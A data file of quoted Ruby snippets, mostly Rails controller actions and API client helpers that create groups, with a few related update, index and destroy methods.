"def create\n @pgroup = Pgroup.new(params[:pgroup])\n\n respond_to do |format|\n if @pgroup.save\n format.html { redirect_to @pgroup, notice: 'Pgroup was successfully created.' }\n format.json { render json: @pgroup, status: :created, location: @pgroup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pgroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pgroup = Pgroup.new(params[:pgroup])\n\n respond_to do |format|\n if @pgroup.save\n format.html { redirect_to @pgroup, notice: 'Pgroup was successfully created.' }\n format.json { render json: @pgroup, status: :created, location: @pgroup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pgroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_new_groups(params = {})\n post(\"/groups\", params)\n end",
"def create_pop_group( name ) \n return \"Group #{name} already exists.\" if NodeGroup.find_by_name( name )\n \n unless File.exists?( SpkDashboard::DATA_PATH + \"/data_#{name}\" )\n return \"No params file found to create group #{name}. FILE: #{SpkDashboard::DATA_PATH + \"/data_#{name}\"}\"\n end\n \n params = self.read_group_params( name )\n \n nodegroup = NodeGroup.new(\n :name => name,\n :node_group_names => [ \"spk_base\" ],\n :parameter_attributes => params )\n \n if nodegroup.save \n return \"Successfully created group #{name}\"\n else\n return \"Failed to create group #{pop}\"\n end\n \n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to(view_group_path(@group.label), :notice => 'Group was successfully created.') }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n #logger.info \"Post parameters: #{params}\"\n @group = Group.new(name: params[:group][:name], expiration: params[:group][:expiration], owner: current_user)\n if @group.save\n @group.memberships.create!(user: current_user, admin: true)\n if params[:group][:users]\n params[:group][:users].each do |u|\n @group.memberships.create!(user: User.where(\"id = ? OR email = ?\", u[:id], u[:email]).first, admin:u[:admin])\n end\n end\n render json: @group, status: :created, location: @group\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"def create\n @esol_group = EsolGroup.new(params[:esol_group])\n\n respond_to do |format|\n if @esol_group.save\n format.html { redirect_to @esol_group, notice: 'Esol group was successfully created.' }\n format.json { render json: @esol_group, status: :created, location: @esol_group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @esol_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:group].delete(:domain) unless current_group.shapado_version.has_custom_domain?\n @group = Group.new\n if params[:group][:languages]\n params[:group][:languages].reject! { |lang| lang.blank? }\n end\n @group.safe_update(%w[languages name legend description default_tags subdomain logo forum enable_mathjax enable_latex custom_favicon language theme signup_type custom_css wysiwyg_editor], params[:group])\n\n @group.safe_update(%w[isolate domain private], params[:group]) if current_user.admin?\n\n @group.owner = current_user\n @group.state = \"active\"\n\n respond_to do |format|\n if @group.save\n @group.create_default_widgets\n\n Jobs::Images.async.generate_group_thumbnails(@group.id)\n @group.add_member(current_user, \"owner\")\n flash[:notice] = I18n.t(\"groups.create.flash_notice\")\n format.html { redirect_to(domain_url(:custom => @group.domain, :controller => \"admin/manage\", :action => \"properties\")) }\n format.json { render :json => @group.to_json, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @add_to_group = AddToGroup.new(params[:add_to_group])\n\n respond_to do |format|\n if @add_to_group.save\n format.html { redirect_to(@add_to_group, :notice => 'Add to group was successfully created.') }\n format.xml { render :xml => @add_to_group, :status => :created, :location => @add_to_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @add_to_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_group(path, name)\n puts \"creating #{name} on path #{path}\"\n \n ret = RestClient.post \"#{@url}/groups\", \n { path: path, name: name }, \n { \"Private-Token\": @token } \n json = JSON.parse(ret.body)\n\n json['id']\n end",
"def create\n @ail_group = AilGroup.new(params[:ail_group])\n\n respond_to do |format|\n if @ail_group.save\n flash[:notice] = 'AilGroup was successfully created.'\n format.html { redirect_to(@ail_group) }\n format.xml { render :xml => @ail_group, :status => :created, :location => @ail_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ail_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def atest_ID_25862_new_post_in_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"Family\")\n logout_common\n login_as_user2\n post_to_any_group(\"Family\",groupName)\n logout_common\n login_as_user1\n verify_updates\n end",
"def create\n group = params[:group] || {}\n group.delete(:locales)\n group.delete(:domains)\n @group = GROUP.new(group)\n @group.current_user = current_user\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(group_url(@group.id)) }\n format.xml { render :xml => @group, :status => :created, :location => group_url(@group.id) + \".xml\" }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Le groupe a été créé.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def group_call(params)\n path = @version + '/Call/Group/'\n method = 'POST'\n return request(path, method, params)\n end",
"def create\n @personnel_group = PersonnelGroup.new(params[:personnel_group])\n\n respond_to do |format|\n if @personnel_group.save\n flash[:notice] = 'PersonnelGroup was successfully created.'\n format.html { redirect_to(@personnel_group) }\n format.xml { render :xml => @personnel_group, :status => :created, :location => @personnel_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @personnel_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def to_groups\n message = AssignTasksToGroups.new(params).perform\n json_response({message: message}, :created)\n end",
"def create\n @provider_group = ProviderGroup.new(params[:provider_group])\n\n respond_to do |format|\n if @provider_group.save\n flash[:notice] = 'ProviderGroup was successfully created.'\n format.html { redirect_to(@provider_group) }\n format.xml { render :xml => @provider_group, :status => :created, :location => @provider_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @api_v1_groups_poll = Api::V1::GroupsPoll.new(api_v1_groups_poll_params)\n\n respond_to do |format|\n if @api_v1_groups_poll.save\n format.html { redirect_to @api_v1_groups_poll, notice: 'Groups poll was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_groups_poll }\n else\n format.html { render :new }\n format.json { render json: @api_v1_groups_poll.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n @group.create_robotsurvey()\n @group.create_signupsurvey()\n @group.create_poststudysurvey()\n respond_to do |format|\n if @group.save\n \n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n @group.group_locales = []\n\n params[:group_locales].each do |locale, values|\n @group.group_locales << GroupLocale.new(:locale => Locale.new(values), :group => @group)\n end\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n format.xml { render xml: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n format.xml { render xml: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n\n @course = Course.find([@group.course_id]).first\n\n @course.cfolders.each do |cfolder|\n gfolder = @group.gfolders.create(name: cfolder.name, group_id: @group.id)\n cfolder.cposts.each do |cpost|\n gpost = gfolder.gposts.create(title: cpost.id, body: cpost.body, link: cpost.link, gfolder_id: gfolder.id)\n end\n end\n\n format.html { redirect_to [@group], notice: 'group was successfully created.' }\n format.json { render :show, status: :created, location: [@group] }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project_group = ProjectGroup.new(lastname: params[:project_group][:lastname])\n @project_group.parent_project = @project\n @project_group.projects << @project #TODO this could be handled by model on create\n\n respond_to do |format|\n if @project_group.save\n # Group is manageable for the project in which was created\n flash[:notice] = l(:notice_successful_create)\n format.html do redirect_to(controller: \"projects\", action: \"settings\", id: @project, tab: \"project_groups\") end\n format.xml do render xml: @project_group, status: :created, location: @project_group end\n else\n format.html do render action: 'new' end\n format.xml do render xml: @project_group.errors, status: :unprocessable_entity end\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n #On vérifie que la liste de droits d'un groupe est effacé\n @group.rights.clear\n\n #On ajoute les droits choisis par un utilisateur\n params[:group][:right_ids] ||= []\n params[:group][:right_ids].each do |right|\n if !(right.blank?)\n @group.add_right(Right.find_by_id(right))\n end\n end\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: t('group.created_msg') }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_xml_group\n Chef::Log.debug \"Creating xml group : '#{ new_resource.name }'\"\n file = ::File.new(\"#{node['opennms']['conf']['home']}/etc/xml-datacollection-config.xml\", \"r\")\n contents = file.read\n doc = REXML::Document.new(contents, { :respect_whitespace => :all })\n doc.context[:attribute_quote] = :quote \n source_el = doc.elements[\"/xml-datacollection-config/xml-collection[@name='#{new_resource.collection_name}']/xml-source[@url='#{new_resource.source_url}']\"]\n # handle xml-group element\n xg_el = source_el.add_element 'xml-group', { 'name' => new_resource.name, 'resource-type' => new_resource.resource_type, 'resource-xpath' => new_resource.resource_xpath }\n if !new_resource.key_xpath.nil?\n xg_el.add_attribute( 'key-xpath' => new_resource.key_xpath)\n end\n if !new_resource.timestamp_xpath.nil?\n xg_el.add_attribute( 'timestamp-xpath' => new_resource.timestamp_xpath)\n end\n if !new_resource.timestamp_format.nil?\n xg_el.add_attribute( 'timestamp-format' => new_resource.timestamp_format)\n end\n # handle xml-object elements\n if !new_resource.objects.nil?\n new_resource.objects.each do |name, details|\n xg_el.add_element 'xml-object', {'name' => name, 'type' => details['type'], 'xpath' => details['xpath']}\n end\n end\n out = \"\"\n formatter = REXML::Formatters::Pretty.new(2)\n formatter.compact = true\n formatter.write(doc, out)\n ::File.open(\"#{node['opennms']['conf']['home']}/etc/xml-datacollection-config.xml\", \"w\"){ |file| file.puts(out) }\nend",
"def create\n @pages_group = PagesGroup.new(pages_group_params)\n respond_to do |format|\n if @pages_group.save\n format.html { redirect_to @pages_group, notice: 'Pages group was successfully created.' }\n format.json { render :show, status: :created, location: @pages_group }\n else\n format.html { render :new }\n format.json { render json: @pages_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @polco_group = PolcoGroup.find(params[:id])\n @polco_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(polco_groups_url) }\n format.xml { head :ok }\n end\n end",
"def createGroup\n call :createGroup\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n group_user = GroupUser.create(:group_id => @group.id, :user_id => current_user.id, :role_id => Role.find_by_name('Owner').id)\n group_user.approve!\n flash[:notice] = \"Group has been created!\"\n format.html { redirect_to groups_path }\n format.xml { render :xml => @group.to_xml }\n else\n format.html { render :action => :new }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n group_user = GroupUser.create(:group_id => @group.id, :user_id => current_user.id, :role_id => Role.find_by_name('Owner').id)\n group_user.approve!\n flash[:notice] = \"Group has been created!\"\n format.html { redirect_to groups_path }\n format.xml { render :xml => @group.to_xml }\n else\n format.html { render :action => :new }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @grupo = Grupo.new(params[:grupo])\n @grupo.hora_inicio = revisar_los_minutos_de @grupo.hora_inicio\n @grupo.hora_fin = revisar_los_minutos_de @grupo.hora_fin\n \n respond_to do |format|\n if @grupo.save\n flash[:notice] = 'Grupo was successfully created.'\n format.html { redirect_to(@grupo) }\n format.xml { render :xml => @grupo, :status => :created, :location => @grupo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @grupo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @attribute_group = AttributeGroup.new(params[:attribute_group])\n\n respond_to do |format|\n if @attribute_group.save\n format.html { redirect_to(@attribute_group, :notice => 'Attribute group was successfully created.') }\n format.xml { render :xml => @attribute_group, :status => :created, :location => @attribute_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attribute_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n \n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n if @group.save\n redirect_to(list_groups_path(:page => params[:page]), :notice => t(\"group.created\"))\n else\n render :action => :new\n end\n end",
"def create\n @group = @group_model.new(group_params)\n respond_to do |format|\n if @group.save\n @course.groups<< @group\n format.html { redirect_to course_group_path(@course,@group), notice: \"#{@group_model.to_s} was successfully created.\" }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Новая группа создана!' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_group(group_node)\n name_ru = group_node.text.delete(\"0-9\")\n Group.create(name_ru: name_ru)\n end",
"def group_create(element)\n name = element[\"group\"]\n auth = element[\"auth\"]\n body = {\n \"jsonrpc\" => \"2.0\",\n \"method\" => \"hostgroup.create\",\n \"params\" => {\n \"name\" => name\n },\n \"auth\" => auth,\n \"id\" => rand(9999)\n }\n result = json_body(body)\n # puts result\n result = result[\"groupids\"]\n result = result[0]\n # puts result\n # return will be group id\n return result\nend",
"def create\n @iogroup = Iogroup.new(iogroup_params)\n\n # write iogroup to database\n if @iogroup.save\n redirect_to iogroups_path, :notice => 'IO-Gruppe erfolgreich erstellt.'\n else\n render 'new'\n end\n end",
"def create\n @grupo = Grupo.new(grupo_params)\n\n respond_to do |format|\n if @grupo.save\n format.html { redirect_to @grupo, notice: 'Se ha creado un nuevo Grupo.' }\n format.json { render :show, status: :created, location: @grupo }\n else\n format.html { render :new }\n format.json { render json: @grupo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group_of_task = GroupOfTask.new(params[:group_of_task])\n\n respond_to do |format|\n if @group_of_task.save\n flash[:notice] = 'GroupOfTask was successfully created.'\n format.html { redirect_to(@group_of_task) }\n format.xml { render :xml => @group_of_task, :status => :created, :location => @group_of_task }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group_of_task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = SuperSimpleCms::Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to super_simple_group_path(@group) } \n format.js { redirect_to formatted_super_simple_group_path(@group, :js) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.js { render :action => \"new\", :layout=>false}\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @request_group = RequestGroup.new(request_group_params)\n\n respond_to do |format|\n if @request_group.save\n format.html { redirect_to @request_group, \n\t\t\t\t\t\t\t\t\t\t\tnotice: 'Request group was successfully created.' }\n format.json { render action: 'show', status: :created, \n\t\t\t\t\t\t\t\t\t\t\tlocation: @request_group }\n else\n format.html { render action: 'new' }\n format.json { render json: @request_group.errors, \n\t\t\t\t\t\t\t\t\t\t\tstatus: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:success] = \"Группа успешно добавлена.\"\n format.html { redirect_to @group }\n format.json { render json: @group, status: :created, location: @group }\n else\n flash.now[:error] = \"Группа с таким названием не может быть добавлена!\"\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @group.parent_id is in the form if we need it\n @group.hub = @hub\n \n respond_to do |format|\n if @group.save\n format.html { redirect_to [@hub, @group], :notice => 'Group was successfully created.' }\n format.json { render :json => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @grupos_diplomado = GruposDiplomado.new(grupos_diplomado_params)\n\n respond_to do |format|\n if @grupos_diplomado.save\n format.html { redirect_to @grupos_diplomado, notice: 'El grupo se creó correctamente.' }\n format.json { render :show, status: :created, location: @grupos_diplomado }\n else\n format.html { render :new }\n format.json { render json: @grupos_diplomado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n respond_to do |format|\n if @group.save\n @group.users.push(current_user)\n UserGroup.set_is_admin(@group.id, current_user.id, true)\n invite_members\n format.html { redirect_to @group, notice: t('flash.notice.groups.successfully_created') }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @routinetoobjectgroup = Routinetoobjectgroup.new(params[:routinetoobjectgroup])\n\n respond_to do |format|\n if @routinetoobjectgroup.save\n flash[:notice] = 'Routinetoobjectgroup was successfully created.'\n format.html { redirect_to(@routinetoobjectgroup) }\n format.xml { render :xml => @routinetoobjectgroup, :status => :created, :location => @routinetoobjectgroup }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @routinetoobjectgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n group = Group.find(params[:group_id])\n\n @subgroup = group.subgroups.create(subgroup_params)\n\n respond_to do |format|\n if @subgroup.save\n format.html { redirect_to([@subgroup.group, @subgroup], :notice => 'Comment was successfully created.') }\n format.xml { render :xml => @subgroup, :status => :created, :location => [@subgroup.group, @subgroup] }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @grupo = Grupo.new(grupo_params)\n\n respond_to do |format|\n if @grupo.save\n format.html { redirect_to @grupo, notice: 'Grupo was successfully created.' }\n format.json { render :show, status: :created, location: @grupo }\n else\n format.html { render :new }\n format.json { render json: @grupo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @collection_group = CollectionGroup.new(collection_group_params)\n\n respond_to do |format|\n if @collection_group.save\n format.html { redirect_to @collection_group, notice: 'Collection group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @collection_group }\n else\n format.html { render action: 'new' }\n format.json { render json: @collection_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_group(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'CreateGroup'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :comments\n\t\t\targs[:query]['Comments'] = optional[:comments]\n\t\tend\n\t\tif optional.key? :group_name\n\t\t\targs[:query]['GroupName'] = optional[:group_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def create_group(attributes)\n post(\"/v1/groups\", attributes)\n end",
"def create\n @test_group = TestGroup.new(test_group_params)\n\n respond_to do |format|\n if @test_group.save\n format.html { redirect_to @test_group.parent, notice: 'Test group was successfully created.' }\n format.json { render :show, status: :created, location: @test_group }\n else\n format.html { render :new }\n format.json { render json: @test_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @jido_grp_rel = JidoGrpRel.new(params[:jido_grp_rel])\n\n respond_to do |format|\n if @jido_grp_rel.save\n flash[:notice] = 'JidoGrpRel was successfully created.'\n format.html { redirect_to(@jido_grp_rel) }\n format.xml { render :xml => @jido_grp_rel, :status => :created, :location => @jido_grp_rel }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @jido_grp_rel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create #:nodoc:\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = I18n.t(\"{{value}} was successfully created.\", :default => \"{{value}} was successfully created.\", :value => I18n.t(\"Group\", :default => \"Group\"))\n if params[:create_and_new_button]\n format.html { redirect_to new_group_url }\n else\n format.html { redirect_to groups_url }\n # format.xml { render :xml => @group, :status => :created, :location => @group }\n end\n else\n format.html { render :action => \"new\" }\n # format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = WorkGroup.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(permitted_params)\n @group.owner ||= current_user\n authorize @group, :create?\n respond_to do |format|\n if @group.save\n format.html { redirect_to(@group, :notice => 'Group was successfully created.') }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n @group.owner = current_user\n @group.users << current_user\n\n respond_to do |format|\n if @group.save\n membership = Membership.find_by_group_id_and_user_id(@group.id, current_user)\n membership.update_attributes :acceptance_status => true\n\n format.html { redirect_to group_path(@group), alert: 'Group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @polco_group = PolcoGroup.find(params[:id])\n @polco_group.title = \"#{params[:polco_group][:name]}_custom\" \n\n respond_to do |format|\n if @polco_group.update_attributes(params[:group])\n format.html { redirect_to(@polco_group, :notice => 'PolcoGroup was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @polco_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @objectgrouptoobjectgroup = Objectgrouptoobjectgroup.new(params[:objectgrouptoobjectgroup])\n\n respond_to do |format|\n if @objectgrouptoobjectgroup.save\n flash[:notice] = 'Objectgrouptoobjectgroup was successfully created.'\n format.html { redirect_to(@objectgrouptoobjectgroup) }\n format.xml { render :xml => @objectgrouptoobjectgroup, :status => :created, :location => @objectgrouptoobjectgroup }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @objectgrouptoobjectgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user_group = UserGroup.new(params[:user_group])\n\n respond_to do |format|\n if @user_group.save\n flash[:notice] = \"User group <em>#{@user_group.name}</em> created.\"\n format.html { redirect_to(@user_group) }\n format.xml { render :xml => @user_group, :status => :created, :location => @user_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lab_group = LabGroup.new(params[:lab_group])\n\n respond_to do |format|\n if @lab_group.save\n flash[:notice] = 'LabGroup was successfully created.'\n format.html { redirect_to(@lab_group) }\n format.xml { render :xml => @lab_group, :status => :created, :location => @lab_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lab_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Course.groups.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def postEntityGroup( entity_id, group_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['group_id'] = group_id\n return doCurl(\"post\",\"/entity/group\",params)\n end",
"def create_group(attributes)\n BrickFTP::API::Group.create(attributes)\n end",
"def create_group(attributes)\n BrickFTP::API::Group.create(attributes)\n end",
"def create\n #get the current group of the logged in user\n #.where returns an array, even if there's only one value\n #In Ruby, the params function can access the path, the url params, or the body for the needed value\n group = current_user.groups.where(id: params[:group_id]).first\n #The .build method is a built in method of ruby where we can add to a collection without saving it just yet\n #So we're adding a new Chore to the chores collection in our postico db without saving it yet\n @v1_chore = group.chores.build(v1_chore_params)\n @v1_chore.completed = false\n @v1_chore.assigned = false\n @v1_chore.pending = false\n @v1_chore.groupname = group.name\n if @v1_chore.save\n render :create, status: :created\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n\n end\n end",
"def create\n\t\t@group = Group.new(params[:group])\n\t\trespond_to do |format|\n\t\t\tif params[:fonct] == \"new_dup\"\n\t\t\t\tobject_orig=Group.find(params[:object_orig_id])\n\t\t\tst = @group.create_duplicate(object_orig)\n\t\t\telse\n\t\t\tst = @group.save\n\t\t\tend\n\t\t\tif st\n\t\t\t\tflash[:notice] = t(:ctrl_object_created, :typeobj => t(:ctrl_group), :ident => @group.name)\n\t\t\t\tformat.html { redirect_to(@group) }\n\t\t\t\tformat.xml { render :xml => @group, :status => :created, :location => @group }\n\t\t\telse\n\t\t\t\tflash[:error] = t(:ctrl_object_not_created, :typeobj => t(:ctrl_group), :msg => nil)\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @group = @current_user.create_group(params[:group])\n # @group = @current_user.groups.build(params[:group])\n # @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.valid?\n format.html { redirect_to circle_groups_path, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @radio_group = RadioGroup.new(params[:radio_group])\n\n respond_to do |format|\n if @radio_group.save\n format.html { redirect_to(@radio_group, :notice => 'Radio group was successfully created.') }\n format.xml { render :xml => @radio_group, :status => :created, :location => @radio_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @radio_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\t\[email protected]_id = session[:user_id]\n\n respond_to do |format|\n if @group.save\n\n\t\t\t\t@page = Page.create(:owner => @group.id, :category => 'group')\n\t\t\t\t@group_member = GroupMember.create(:group_id => @group.id, :user_id => session[:user_id], :moderator => true)\n format.html { redirect_to groups_url, :notice => 'Group was successfully created.' }\n format.json { render :json => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n #@polco_groups = PolcoGroup.all.paginate(:page => params[:page], :per_page => 20) # where(name: /#{params[:q]}/i)\n @groups = Hash.new\n @groups[:states] = PolcoGroup.states.all.paginate(:page => params[:page], :per_page => 20)\n @groups[:districts] = PolcoGroup.districts.all.paginate(:page => params[:page], :per_page => 20)\n @groups[:customs] = PolcoGroup.customs.all.paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.haml\n format.xml { render :xml => @polco_groups }\n format.json { render :json => @polco_groups.map{|g| {:id => g.id, :name => g.name}} }\n end\n end",
